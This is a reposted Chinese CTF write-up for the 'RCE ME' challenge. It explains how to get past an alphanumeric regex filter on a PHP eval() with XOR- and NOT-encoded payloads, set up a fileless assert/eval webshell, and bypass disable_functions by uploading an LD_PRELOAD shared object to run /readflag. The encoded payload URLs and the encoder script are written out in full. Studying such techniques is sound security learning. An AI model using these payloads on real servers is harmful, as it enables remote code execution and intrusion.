前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从RCE_ME一题来了解如何绕过disable_function

从RCE_ME一题来了解如何绕过disable_function

作者头像
yulate
发布2023-05-02 11:20:45
3020
发布2023-05-02 11:20:45
举报

本文最后更新于 469 天前,其中的信息可能已经有所发展或是发生改变。

前言

[极客大挑战 2019]RCE ME:https://buuoj.cn/challenges#[极客大挑战 2019]RCE ME

这道题涉及到绕过disable_function限制问题,这里来写一篇文章学习记录一下绕过方法

环境解析

代码语言:javascript
复制
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

这题源码非常简单,就是要绕过正则表达式来执行命令,通过php异或操作即可绕过或通过url编码绕过,主要内容是disable_function禁用了大量的函数导致shell上传成功但无法使用的情况出现使得难度大大提高,这篇文章主要就是来分析如何进行disable_function绕过。

在phpinfo()页面可以发现禁用了非常多的函数,其中包括system、exec、shell_exec等关键执行函数,我们先弄个无文件shell,这里可以使用百度来的exp或者异或出来一个

代码语言:javascript
复制
?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[%27cmd%27])
代码语言:javascript
复制
<?php
$a = 'assert';
echo urlencode(~$a);
echo "<br />";

$b ='(eval($_POST[cmd]))';
echo urlencode(~$b);
代码语言:javascript
复制
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

通过蚁剑连接

这里可以发现readflag这个文件但是并没有执行权限,所以得绕过disable_function

初探disable_function

参考链接

深入浅出LD_PRELOAD & putenv() - 安全客,安全资讯平台 (anquanke.com)

PHP绕过disable_function限制-转载 | 时刻需 (shikexu.com)

无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户

GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)

上传shell和so文件到/var/tmp目录下

我们来看一下如何使用该shell,他这已经写好了example了,我们需要传入三个参数,第一个参数cmd为执行的命令,第二个参数outpath为输入出文件位置,第三个sopath参数为上传的so文件所在位置

这里直接使用之前写的第一条exp来进行执行命令

代码语言:javascript
复制
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

成功突破disable_function拿到flag

总结

大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE

具体原理现在水平有限没法真正的弄懂,现在先写篇文章记录解法,以后再补上一篇原理。

浏览量: 86

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-1-12 2,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 环境解析
  • 初探disable_function
    • 参考链接
    • 总结
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档